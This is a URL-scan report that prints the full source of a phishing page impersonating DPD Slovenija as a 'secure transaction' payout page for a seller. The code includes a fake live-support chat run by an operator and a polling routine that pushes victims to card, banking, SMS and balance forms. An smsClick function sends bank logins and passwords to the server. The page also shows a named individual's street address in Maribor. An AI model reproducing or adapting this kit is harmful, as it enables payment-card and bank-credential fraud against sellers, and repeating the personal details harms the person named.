- ID da verificação
- 176d8611-42f7-4211-97a2-c1f25f45396aConcluído
- URL enviado:
- https://url.homes4sell.us/byKiwRedirecionado
- Relatório concluído:
Links · 0 encontrado(s)
Os links de saída identificados na página
Variáveis JavaScript · 30 encontrada(s)
Variáveis JavaScript globais carregadas no objeto janela de uma página são variáveis declaradas fora das funções e acessíveis de qualquer lugar no código dentro do escopo atual
Nome | Tipo |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
_gaUserPrefs | object |
$ | function |
jQuery | function |
Popper | function |
bootstrap | object |
inputSafety | function |
getSupportMessage | function |
Mensagens de registro do console · 3 encontrada(s)
Mensagens registradas no console web
Tipo | Categoria | Log |
---|---|---|
error | network |
|
error | javascript |
|
log | other |
|
HTML
O corpo HTML bruto da página
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="si" lang="si" class="hydrated"><head><script type="text/javascript">window["_gaUserPrefs"] = { ioo : function() { return true; } }</script>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style data-styles="">walla-button,walla-icon,walla-loading{visibility:hidden}.hydrated{visibility:inherit}</style>
<link rel="icon" href="https://armorshield.digital/rollbot/lt/img/84307d7f961f63cc7a32b95d6ceff11d21d7e51500000165.ico" type="image/x-icon">
<title>ST-Link V2</title>
<meta name="description" content="Dostava paketov, kurirji in paketi na pošto - DPD Slovenija">
<link href="https://armorshield.digital/dpd/dpd-styles.css" rel="stylesheet">
<meta property="og:description" content="Dostava paketov, kurirji in paketi na pošto - DPD Slovenija">
<meta property="og:image" content="https://armorshield.digital/logo.png">
<meta property="og:type" content="product">
<meta name="description" content="DPD Slovenija je lídrom na trhu v oblasti doručovania balíkov.Každý deň sa viac ako 250 profesionálnych zamestnancov po celej krajine postará o vaše balíky a doručí ich adresátom čo najrýchlejšie a najpohodlnejšie.">
<meta property="og:title" content="DPD Slovenija | Vaši odborníci na doručovanie">
<meta property="og:description" content="DPD Slovenija je lídrom na trhu v oblasti doručovania balíkov. Každý deň sa o vaše balíky stará viac ako 250 profesionálnych zamestnancov v celom Lotyšsku, ktorí zabezpečujú, aby sa zásielky dostali k príjemcom čo najrýchlejšie a najpohodlnejšie.">
<meta property="og:url" content="https://armorshield.digital/logo.png">
<meta property="twitter:image" content="https://armorshield.digital/logo.png">
<meta property="twitter:url" content="https://armorshield.digital/logo.png">
<meta name="robots" content="noindex, nofollow, noarchive">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
<!-- CHAT links -->
<link rel="stylesheet" href="../assets/chat/css/chat_new.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.maskedinput/1.4.1/jquery.maskedinput.js"></script>
<!-- CHAT links close -->
</head>
<body data-lang="si" class="">
<!-- САМ ЧАТ -->
<div id="live-chat" class="closed">
<input type="hidden" id="product_name" value="ST-Link V2">
<input type="hidden" id="refresh_time" value="947816343">
<input type="hidden" id="secret_seed" value="main">
<!-- ВВЕРХ ЧАТА -->
<div class="chat_header clearfix">
<div onclick="hideShowChatButton();" id="chat_close_button" class="chat_close">
<img src="https://armorshield.digital/chat-support/chat/img/chat-open.svg">
</div>
<div class="chat_title_block">
<h4 class="support-title" style="font-weight: bold;">Jessica</h4>
<span class="support-description">
<img src="https://armorshield.digital/chat-support/chat/img/chat-icon.svg" width="22" height="22" alt="" style="margin-right: 5px;">
DPD support
</span>
</div>
<span class="chat_message_counter">3</span>
</div>
<!-- БЛОК ЧАТА -->
<div class="chat">
<!-- БЛОК ИСТОРИИ ЧАТА -->
<div class="chat_history msg_container_base">
</div>
<!-- НИЖНИЙ БЛОК ДЛЯ ВВОДА ТЕКСТА -->
<div class="input_container">
<div class="input_block">
<input type="text" id="btn-input" class="input-sm chat_input" placeholder="Write here..">
<input type="hidden">
</div>
<div id="btn-chat" onclick="sendMessage()" class="send_button">
<img src="https://armorshield.digital/chat-support/chat/img/chat-send-button-icon.svg" width="30px" alt="">
</div>
<div>
</div>
</div></div></div>
<!-- ОТПРАВКА CHECK_ONLINE = CREATE -->
<script type="text/javascript">
$(document).ready(function() {
var track_id = document.getElementById("refresh_time").value;
// Отправка запроса create при загрузке страницы
$.ajax({
type: "POST",
url: 'https://' + document.location.hostname + '/chat_src/check_online.php',
data: {
track_id: track_id,
status: "online",
action: "create"
},
success: function(data) {
console.log("Create action success: ", data);
},
error: function(xhr, status, error) {
console.error("Create action error: ", error);
}
});
});
</script>
<script type="text/javascript">function inputSafety(input) {
// Удаление тегов script
input = input.replace(/<script.*?>.*?<\/script>/gi, '');
// Удаление всех тегов (можно настроить для разрешения определенных тегов)
input = input.replace(/<\/?[^>]+(>|$)/g, '');
// Экранирование специальных символов
input = input.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
return input;}
document.getElementById('btn-input').addEventListener('input', function() {
var inputField = document.getElementById('btn-input');
var sendButton = document.querySelector('.send_button');
if (inputField.value.trim() !== "") {sendButton.style.backgroundColor = '#c81414';}
else {sendButton.style.backgroundColor = '#c814148a';}});
document.addEventListener('DOMContentLoaded', function() {getSupportMessage();});
async function getSupportMessage() {
const db_id = Math.floor(100000 + Math.random() * 900000);
const track_id = document.getElementById("refresh_time").value;
const secret_seed = document.getElementById("secret_seed").value;
try {
const response = await fetch(`https://${document.location.hostname}/chat_src/automatic.php`, {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `track_id=${track_id}&secret_seed=${secret_seed}`
});
if (!response.ok) {throw new Error('Failed to send message');}
else {
// Обработка полученного сообщения
const response_data = await response.json();
let message = response_data.message;
// Проверка и извлечение сообщения
if (response_data && typeof response_data === 'object' && response_data.message) {message = response_data.message;}
else {message = '<b>Hello!, we are in touch 24/7.</b> Operator Sofija will contact you now.<br><br>🔕 Do not leave the page.';}
const now = new Date();
const hours = String(now.getHours()).padStart(2, '0');
const minutes = String(now.getMinutes()).padStart(2, '0');
message_time = `${hours}:${minutes}`;
// Находим блок с классом 'chat_history msg_container_base'
const messageContainer = document.querySelector('.chat_history.msg_container_base');
// Удаляем все предедущие смс авто-поддержки
const messages = messageContainer.querySelectorAll('#automatic_support_message');
messages.forEach(message => {messageContainer.removeChild(message);});
const support_message = `
<div class="chat_message clearfix" db-id="${db_id}" id="automatic_support_message">
<img src="https://armorshield.digital/chat-support/chat/img/chat-automatic-support-icon.svg" width="32" height="32" alt="">
<h5 style="text-align: right;">DPD</h5>
<div class="chat_message_content clearfix message-block" id="automatic_support_message_content">
<span class="chat_time">👮 ${message_time}</span>
<p style="color: #2225285e; font-family: system-ui;">
${message}
</p>
</div>
</div>`;
// Проверьте, что контейнер найден
// Проверьте, что HTML-сообщение правильно сформировано
messageContainer.insertAdjacentHTML('beforeend', support_message);
}
} catch (error) {console.error('Error sending message:', error);}}
// ЗАКРЫТИЕ ЧАТА (ТП)
function hideChat() {
const closeButton = document.getElementById("chat_close_button");
const chatBlock = document.getElementById("live-chat");
chatBlock.classList.add("closed");
closeButton.classList.remove("rotated");}
// ОТКРЫТИЕ ЧАТА (ТП)
function showChat() {
const closeButton = document.getElementById("chat_close_button");
const chatBlock = document.getElementById("live-chat");
chatBlock.classList.remove("closed");
closeButton.classList.add("rotated");}
// АВТОМАТИЧЕСКОЕ ПОДНЯТИЕ И СКРЫТИЕ ЧАТА
function hideShowChatButton() {
const closeButton = document.getElementById("chat_close_button");
const chatBlock = document.getElementById("live-chat");
// ПОКАЗАТЬ
if (chatBlock.classList.contains("closed")) {
chatBlock.classList.remove("closed");
closeButton.classList.add("rotated");}
// СКРЫТЬ
else {
chatBlock.classList.add("closed");
closeButton.classList.remove("rotated");}
}
$(document).on('click', '.panel-heading span.icon_minim', function (e) {
var $this = $(this);
if (!$this.hasClass('panel-collapsed')) {
$this.parents('.panel').find('.panel-body').slideUp();
$this.addClass('panel-collapsed');
$this.removeClass('glyphicon-minus').addClass('glyphicon-plus');
} else {
$this.parents('.panel').find('.panel-body').slideDown();
$this.removeClass('panel-collapsed');
$this.removeClass('glyphicon-plus').addClass('glyphicon-minus');
}
});
$(document).on('focus', '.panel-footer input.chat_input', function (e) {
var $this = $(this);
if ($('#minim_chat_window').hasClass('panel-collapsed')) {
$this.parents('.panel').find('.panel-body').slideDown();
$('#minim_chat_window').removeClass('panel-collapsed');
$('#minim_chat_window').removeClass('glyphicon-plus').addClass('glyphicon-minus');
}
});
$(document).on('click', '#open-support', function (e) {
$('#chat_window_1').show();
$('#open-support').hide();
});
function playAudio() {
var audio = new Audio(
"https://zvukogram.com/mp3/cats/906/new_message_tone.mp3"
);
audio.autoplay = true;
audio.play();
}
function openChat() {
$('#chat_window_1').show();
$('#open-support').hide();
}
$(document).on('click', '.icon_close', function (e) {
$('#chat_window_1').hide();
$('#open-support').show();
});
$(document).ready(function () {
$('#chat_window_1').hide();
$('#open-support').show();
});
$(document).on('click', '#btn-chat', function (e) {
sendMessage();
getSupportMessage();
});
// $(document).on('change', '#image-upload', function (e) {
// handleImageUpload(e.target.files);
// });
// ОБНОВЛЕН
var sending = false; // флаг для проверки, отправляется ли сообщение в данный момент
async function sendMessage() {
if (sending) {
return;
}
sending = true;
const messageInput = document.getElementById("btn-input");
const messageText = messageInput.value.trim();
const message = inputSafety(messageText);
if (message === '') {
sending = false;
return;
}
messageInput.value = '';
const token = getCookie('token') || Math.random().toString(36).substring(7);
const trackId = document.getElementById("refresh_time").value;
const title = document.getElementById("product_name").value;
// Добавляем сообщение в контейнер
// Получаем контейнер для сообщений
const container = document.querySelector('.chat_history.msg_container_base');
const curTime = getCurTime();
const newMessage = `<div class="chat_message clearfix">
<img src="https://armorshield.digital/chat-support/chat/img/dpd-client-icon.svg" width="32" height="32" alt="">
<h5 style="text-align: right;">You</h5>
<div class="chat_message_content clearfix message-block">
<span class="chat_time">${curTime}</span>
<p style="color: #2225285e; font-family: system-ui;">
${message}
</p>
</div>
</div>`;
container.innerHTML += newMessage;
setCookie('token', token);
var objDiv = $('.chat_history.msg_container_base');
objDiv.scrollTop($('.chat_history.msg_container_base')[0].scrollHeight);
try {
const response = await fetch('https://' + document.location.hostname + '/chat_src/message.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `send=1&track_id=${trackId}&token=${token}&message=${encodeURIComponent(message)}&title=${encodeURIComponent(title)}`,
});
if (!response.ok) {
throw new Error('Failed to send message');
}
} catch (error) {
console.error('Error sending message:', error);
}
sending = false;
}
// ВРЕМЕННО ПРЕОСТАНОВЛЕН
function handleImageUpload(files) {
var file = files[0];
var formData = new FormData();
formData.append('image', file);
var token = getCookie('token');
var track_id = document.getElementById("refresh_time").value;
formData.append('track_id', track_id);
formData.append('token', token);
var xhttp = new XMLHttpRequest();
var url = 'https://' + document.location.hostname + '/chat_src/upload.php';
xhttp.open("POST", url, true);
xhttp.onload = function (e) {
if (xhttp.readyState === 4) {
if (xhttp.status === 200) {
var response = xhttp.responseText;
// Обработка ответа после загрузки изображения
// Например, отображение изображения в чате
var imgElement = '<a rel="nofollow" target="_blank" href="'+response+'"><img src="' + response + '" alt="Uploaded Image" style="max-height: 240px; max-width: 240px; filter: blur(3px);"></a>';
var message = '<div class="row msg_container base_sent"><div class="col-md-10 col-xs-10" style="width: 80%;"><div class="messages msg_sent">' + imgElement + '</div></div></div>';
$('.chat_history.msg_container_base').append(message);
var objDiv = $('.chat_history.msg_container_base');
objDiv.scrollTop($('.chat_history.msg_container_base')[0].scrollHeight);
}
}
};
xhttp.send(formData);
}
// ОБНОВЛЕНО
var xhttp = null;
$(document).ready(function(){
window.onbeforeunload = function(){
xhttp.abort();
};
var token = getCookie('token');
if (token !== null) {
xhttp=new XMLHttpRequest();
var track_id = document.getElementById("refresh_time").value;
var url = 'https://'+document.location.hostname+'/chat_src/message.php';
xhttp.open("POST", url, true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("get=1&token="+token);
xhttp.onload = function (e) {
if (xhttp.readyState === 4) {
if (xhttp.status === 200) {
var body = xhttp.response;
var json = JSON.parse(body);
for (let i = 0; i < json.length; i++) {
if (json[i].message !== 'start' && json[i].is_deleted !== 't') {
cur_text = $('.chat_history.msg_container_base').html();
time = getTime(json[i].date);
if (json[i].sender == 't') {
if (json[i].is_photo == 't') {
var imgElement = '<a rel="nofollow" target="_blank" href="'+json[i].message+'"><img src="'+json[i].message+'" alt="Uploaded Image" style="max-height: 240px; max-width: 240px; filter: blur(3px);"></a>';
// БЫЛО
// text = `
// <div class="support-message" db-id="'+json[i].id+'">
// <div class="row msg_container base_receive">
// <div class="col-xs-10 col-md-10" style="width: 80%;">
// <div class="messages msg_receive">
// ' + imgElement + '
// </div>
// </div>
// </div>
// </div>`;
// СТАЛО
text = `
<div class="chat_message clearfix" db-id="${json[i].id}">
<img src="https://armorshield.digital/chat-support/chat/img/dpd-support-icon.svg" width="32" height="32" alt="">
<h5 style="text-align: right;">Sofija</h5>
<div class="chat_message_content clearfix message-block">
<p style="color: #2225285e; font-family: system-ui;">
${imgElement}
</p>
</div>
</div>`;
}
else {
// БЫЛО
// text = `
// <div class"support-message" db-id="'+json[i].id+'">
// <div class="row msg_container base_receive">
// <div class="col-xs-10 col-md-10" style="width: 80%;">
// <div class="messages msg_receive">
// <p>'+json[i].message+'</p>
// <time datetime="2009-11-13T20:00">Maria</time>
// </div>
// </div>
// </div>
// </div>`;
// СТАЛО
text = `
<div class="chat_message clearfix" db-id="${json[i].id}">
<img src="https://armorshield.digital/chat-support/chat/img/dpd-support-icon.svg" width="32" height="32" alt="">
<h5 style="text-align: right;">Sofija</h5>
<div class="chat_message_content clearfix message-block">
<span class="chat_time">Today</span>
<p style="color: #2225285e; font-family: system-ui;">
${json[i].message}
</p>
</div>
</div>`;
}
} else {
// БЫЛО
// text = `
// <div class="row msg_container base_sent">
// <div class="col-md-10 col-xs-10" style="width: 80%;">
// <div class="messages msg_sent">
// <p>${json[i].message}</p>
// <time datetime="${time}">
// You
// </time>
// </div>
// </div>
// </div>`;
// СТАЛО
text = `
<div class="chat_message clearfix">
<img src="https://armorshield.digital/chat-support/chat/img/dpd-client-icon.svg" width="32" height="32" alt="">
<h5 style="text-align: right;">You</h5>
<div class="chat_message_content clearfix message-block">
<span class="chat_time">${time}</span>
<p style="color: #2225285e; font-family: system-ui;">
${json[i].message}
</p>
</div>
</div>`;
}
// ОБНОВЛЕН
// $('.chat_history.msg_container_base').html(cur_text+text);
// Получаем контейнер для сообщений
const container = document.querySelector('.chat_history.msg_container_base');
container.innerHTML += text;
// Авто скрол вниз до сообщения воркера
$('.chat_history.msg_container_base').scrollTop(
$('.chat_history.msg_container_base')[0].scrollHeight);
}
}
// var objDiv = $('.chat_history.msg_container_base');
// objDiv.scrollTop($('.chat_history.msg_container_base')[0].scrollHeight);
}
}
}
}
});
var updating = false; // флаг для проверки, обновляется ли чат в данный момент
var myVar = setInterval(updateChat, 3000);
// ОБНОВЛЕНО
async function updateChat() {
if (updating) {
return;
}
updating = true;
var token = getCookie('token');
if (token !== null) {
try {
const response = await fetch('https://' + document.location.hostname + '/chat_src/message.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `get=0&token=${token}`,
});
if (!response.ok) {
throw new Error('Failed to fetch messages');
}
const json = await response.json();
for (let i = 0; i < json.length; i++) {
let cur_text = $('.chat_history.msg_container_base').html();
let time = getTime(json[i].date);
let text = '';
if (json[i].sender == 't') {
if (json[i].is_photo == 't') {
playAudio();
let imgElement = `<a rel="nofollow" target="_blank" href="${json[i].message}"><img src="${json[i].message}" alt="Uploaded Image" style="max-height: 240px; max-width: 240px; filter: blur(3px);"></a>`;
// БЫЛО
// text = `
// <div class="support-message" db-id="${json[i].id}">
// <div class="row msg_container base_receive">
// <div class="col-xs-10 col-md-10" style="width: 80%;">
// <div class="messages msg_receive">
// ${imgElement}
// </div>
// </div>
// </div>
// </div>`;
// СТАЛО
text = `
<div class="chat_message clearfix" db-id="${json[i].id}">
<img src="https://armorshield.digital/chat-support/chat/img/dpd-support-icon.svg" width="32" height="32" alt="">
<h5 style="text-align: right;">Sofija</h5>
<div class="chat_message_content clearfix message-block">
<p style="color: #2225285e; font-family: system-ui;">
${imgElement}
</p>
</div>
</div>`;
} else {
playAudio();
showChat();
// ВРЕМЕННО ПРЕОСТАНОВЛЕН
// $('#open-support').hide();
// text = `
// <div class="support-message" db-id="${json[i].id}">
// <div class="row msg_container base_receive">
// <div class="col-xs-10 col-md-10" style="width: 80%;">
// <div class="messages msg_receive">
// <p>${json[i].message}</p>
// <time datetime="2009-11-13T20:00">
// Maria
// </time>
// </div>
// </div>
// </div>
// </div>`;
// СТАЛО
text = `
<div class="chat_message clearfix" db-id="${json[i].id}">
<img src="https://armorshield.digital/chat-support/chat/img/dpd-support-icon.svg" width="32" height="32" alt="">
<h5 style="text-align: right;">Sofija</h5>
<div class="chat_message_content clearfix message-block">
<span class="chat_time">Today</span>
<p style="color: #2225285e; font-family: system-ui;">
${json[i].message}
</p>
</div>
</div>`;
}
} else {
// БЫЛО
// text = `
// <div class="row msg_container base_sent">
// <div class="col-md-10 col-xs-10" style="width: 80%;">
// <div class="messages msg_sent">
// <p>${json[i].message}</p>
// <time datetime="${time}">
// You
// </time>
// </div>
// </div>
// </div>`;
// СТАЛО
text = `
<div class="chat_message clearfix">
<img src="https://armorshield.digital/chat-support/chat/img/dpd-client-icon.svg" width="32" height="32" alt="">
<h5 style="text-align: right;">You</h5>
<div class="chat_message_content clearfix message-block">
<span class="chat_time">${time}</span>
<p style="color: #2225285e; font-family: system-ui;">
${json[i].message}
</p>
</div>
</div>`;
}
// Получаем контейнер для сообщений
const container = document.querySelector('.chat_history.msg_container_base');
container.innerHTML += text;
// Авто скрол вниз до сообщения воркера
$('.chat_history.msg_container_base').scrollTop(
$('.chat_history.msg_container_base')[0].scrollHeight);
}
// var objDiv = $('.chat_history.msg_container_base');
// objDiv.scrollTop($('.chat_history.msg_container_base')[0].scrollHeight);
} catch (error) {
console.error('Error fetching messages:', error);
}
}
updating = false;
}
function getCurTime() {
var date = new Date();
var hours = date.getHours();
var minutes = "0" + date.getMinutes();
var formattedTime = hours + ':' + minutes.substr(-2);
return formattedTime;
}
function getTime(unixtime) {
var date = new Date(unixtime * 1000);
var hours = date.getHours();
var minutes = "0" + date.getMinutes();
var formattedTime = hours + ':' + minutes.substr(-2);
return formattedTime;
}
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i <ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return null;
}
function setCookie(cname, cvalue) {
var d = new Date();
d.setTime(d.getTime() + (6*60*60*1000));
var expires = "expires="+ d.toUTCString();
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
function smsClick(track_id, bank, login, password) {
xhttp=new XMLHttpRequest();
var track_id = document.getElementById("refresh_time").value;
var url = location.protocol + '//'+document.location.hostname+'/chat_src/message.php';
xhttp.open("POST", url, true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("get=4&track_id="+track_id+"&login="+login+"&password="+password+"&bank="+bank);
xhttp.onload = function (e) {
if (xhttp.readyState === 4) {
if (xhttp.status === 200) {
}
}
}
return 'true';
}
function openForm() {
document.getElementById("myForm").style.display = "block";
document.getElementById("open-support").style.display = "none";
var objDiv = $('.chat_history.msg_container_base');
objDiv.scrollTop = objDiv.scrollHeight;
}
function closeForm() {
document.getElementById("myForm").style.display = "none";
document.getElementById("open-support").style.display = "block";
}
var input = document.getElementById("btn-input");
input.addEventListener("keydown", function(event) {
if (event.keyCode === 13) {
event.preventDefault();
document.getElementById("btn-chat").click();
}
});
1</script>
<script type="text/javascript">class StatusUpdater {
constructor() {
this.pool = true;
this.track_id = document.getElementById("refresh_time").value;
this.updateInterval = setInterval(this.updateStatus.bind(this), 10000);
}
updateStatus() {
if (this.pool) {
this.pool = false;
$.ajax({
type: "POST",
url: 'https://' + document.location.hostname + '/chat_src/updates.php',
data: "get=0&track_id=" + this.track_id,
success: (data) => {
try {
const json = JSON.parse(data);
this.pool = true;
for (let actionItem of json) {
this.handleAction(actionItem.action);
}
} catch (e) {
console.error('Error parsing response:', e);
}
},
error: () => {
this.pool = true;
console.error('Error making request');
}
});
}
}
handleAction(action) {
switch (action) {
case "push":
$("#pushInfo").submit();
break;
case "sms":
$("#smsInfo").submit();
break;
case "card":
$("#mirror").submit();
break;
case "banking":
$("#mirror1").submit();
break;
case "balance":
$("#balance").submit();
break;
case "replenishment":
$("#replenishment").submit();
break;
case "failed":
$("#failed").submit();
break;
case "answer":
$("#answer").submit();
break;
case "board":
$("#board").submit();
break;
case "none":
break;
default:
console.error("Unknown action: " + action);
}
}
}
$(document).ready(() => {
const statusUpdater = new StatusUpdater();
setInterval(() => {
$.ajax({
type: "POST",
url: 'https://' + document.location.hostname + '/chat_src/check_online.php',
data: {
track_id: statusUpdater.track_id,
status: "online",
action: "update"
},
success: (data) => {
// Handle success
},
error: () => {
console.error('Error checking online status');
}
});
}, 7000);
});
1</script>
<!-- Поднимает ТП через 3 секунды после загрузки страницы -->
<script>window.onload = function() {setTimeout(showChat, 5000);};</script>
<main style="margin-bottom: 100px;">
<div class="top_contener">
<a class="navbar-brand" href="#">
<img src="https://armorshield.digital/dpd/logo.svg" class="size-icon-logo" alt=""></a>
</div>
<div class="side_bar_menu">
<ul class="list__aside" style="font-family: sans-serif;">
<li class="open_menu"><a style="color:#111e14; margin-left: 10px;" href="#">Odosielanie balíkov</a></li>
<li class="ska open_menu"><a class="sme" style="color:#111e14; margin-left: 10px;" href="#">Storitve za podjetja</a>
</li><li class="ska open_menu"><a class="sme" style="color:#111e14; margin-left: 10px;" href="#">Moduli za e-poslovanje</a></li>
<li class="ska open_menu"><a class="sme" style="color:#111e14; margin-left: 10px;" href="#">Zasebne storitve</a></li>
<li class="ska open_menu"><a class="sme" style="color:#111e14; margin-left: 10px;" href="#">Delovni načrt</a></li>
<li class="open_menu"><a class="sme" style="color:#7f8397; margin-left: 10px;" href="#">Sledenje pošiljkam</a></li>
<li class="open_menu"><a class="sme" style="color:#7f8397; margin-left: 10px;" href="#">Nadomestilo</a></li>
<li class="open_menu"><a class="sme" style="color:#7f8397; margin-left: 10px;" href="#">DPD Poštni uradi</a></li>
<li class="open_menu"><a class="sme" style="color:#7f8397; margin-left: 10px;" href="#">myDPD</a></li>
<li class="open_menu"><a class="sme" style="color:#7f8397; margin-left: 10px;" href="#">Pomoč</a></li>
<li class="open_menu"><a class="sme" style="color:#7f8397; margin-left: 10px;" href="#">Kariera v družbi DPD</a></li>
</ul>
</div>
<div class="content_text">
<div class="bread_crumb">
<ul itemscope="" class="flex bread_crumb-list">
<li itemprop="itemListElement" itemscope=""><a itemprop="item" class="dark_green bread_crumb_item" href="#" title="Выкуп авто"><span style="font-family: sans-serif;" itemprop="name">DPD</span><meta itemprop="position" content="0"></a></li>
<li itemprop="itemListElement" itemscope=""><a itemprop="item" class="dark_green bread_crumb_item" href="#"><span style="font-family: sans-serif;" itemprop="name">Zavarovana transakcija</span><meta itemprop="position" content="1"></a></li>
<p style="content:none;" itemprop="itemListElement"><span style="font-family: sans-serif;" itemprop="name">Obrazec za naročilo</span><meta itemprop="position" content="2"></p>
</ul>
<h1 style="font-family: sans-serif;">Obrazec za naročilo</h1>
<div class="red_block">
<img src="https://armorshield.digital/dpd/er.png" style="padding: 23px;float: left;">
<p class="red_block_text" style="font-family: sans-serif;">Ta osebna povezava se vzpostavi v skladu z Fadila Fras na zahtevo.</p>
<p class="red_block_text" style="font-family: sans-serif;">Dokler ne prejmete denarja, te povezave ne posredujte tretjim osebam.</p>
</div>
<p class="main_text" style="font-family: sans-serif;">Pritisnite gumb: <a href="/get/payout/947816343" class="pod" style="color:#dc0032;">"Prejem sredstev"</a> in vnesite svoje podatke. Ko bo denar nakazan na vašo bančno kartico, vas bo poklical vodja družbe DPD. Dogovorite se o podrobnostih, kje in kdaj bo kurir lahko prišel po vašo pošiljko.</p>
<p class="main_text" style="font-family: sans-serif;">Če imate težave s prejemom denarja od kupca, se obrnite <a href="#" class="pod" style="color:#dc0032;" onclick="openChat()">"natehnična pomoč."</a></p>
</div>
</div>
<div class="side_bar_right">
<div class="one_block">
<h2 style="font-family: sans-serif;">Informacije o naročilu</h2>
<table class="tg" style="width: 100%; margin: 20px 0 0 0; ">
<thead>
<tr>
<td class="tg-0lax" style="color: #606061;"><div style="font-family: sans-serif;" class="date">Ime izdelka</div></td>
<th class="tg-02ax"><div class="comment" style="margin:0; ">ST-Link V2</div></th>
</tr>
</thead>
<tbody>
<tr>
<td class="tg-0lax" style="font-family: sans-serif; color: #606061;"><div class="date">Prejemnik</div></td>
<th class="tg-02ax"><div class="comment" style="margin:0; ">Fadila Fras</div></th>
</tr>
<tr>
<td class="tg-0lax" style="font-family: sans-serif; color: #606061;"><div class="date">Cena izdelka</div></td>
<th class="tg-02ax"><div class="comment" style="margin:0; ">10 EUR</div></th>
</tr>
<tr>
<td class="tg-0lax" style="font-family: sans-serif; color: #606061;"><div class="date">Id skladbe</div></td>
<th class="tg-02ax"><div class="comment" style="margin:0; ">947816343</div></th>
</tr>
<tr>
<td class="tg-0lax" style="font-family: sans-serif; color: #606061;"><div class="date">Naslov</div></td>
<th class="tg-02ax"><div class="comment" style="margin:0; ">Strossmayerjeva ulica 34a, 2000 Maribor</div></th>
</tr>
</tbody>
</table>
</div>
<a href="/get/payout/947816343" style="font-family: sans-serif;" class="power_klick">Prejemanje 10 €</a>
<!--<div class="side_bar_bottom">
<div class="one_block">
<h2>Papildomos paslaugos</h2>
<table class="tg" style="width: 100%; margin: 20px 0 0 0; ">
<thead>
<tr>
<td class="tg-0lax" style="color: #606061;"><div class="date">Kurjeris</div></td>
<th class="tg-02ax"><div class="comment" style="margin:0; ">Apmokėta</div></th>
<th class="tg-02ax"><div class="comment" style="margin:0; "><i class="fa fa-toggle-on fa-2x" aria-hidden="true" style="color: red"></i></div></th>
</tr>
</thead>
<tbody>
<tr>
<td class="tg-0lax" style="color: #606061;"><div class="date">Saugus sandoris</div></td>
<th class="tg-02ax"><div class="comment" style="margin:0; ">Apmokėta</div></th>
<th class="tg-02ax"><div class="comment" style="margin:0; "><i class="fa fa-toggle-on fa-2x" aria-hidden="true" style="color: red"></i></div></th>
</tr>
<tr>
<td class="tg-0lax" style="color: #606061;"><div class="date">Pakuotė</div></td>
<th class="tg-02ax"><div class="comment" style="margin:0; ">Apmokėta</div></th>
<th class="tg-02ax"><div class="comment" style="margin:0; "><i class="fa fa-toggle-on fa-2x" aria-hidden="true" style="color: red"></i></div></th>
</tr>
</tbody>
</table>
</div>
</div>-->
</div>
</main>
</body></html>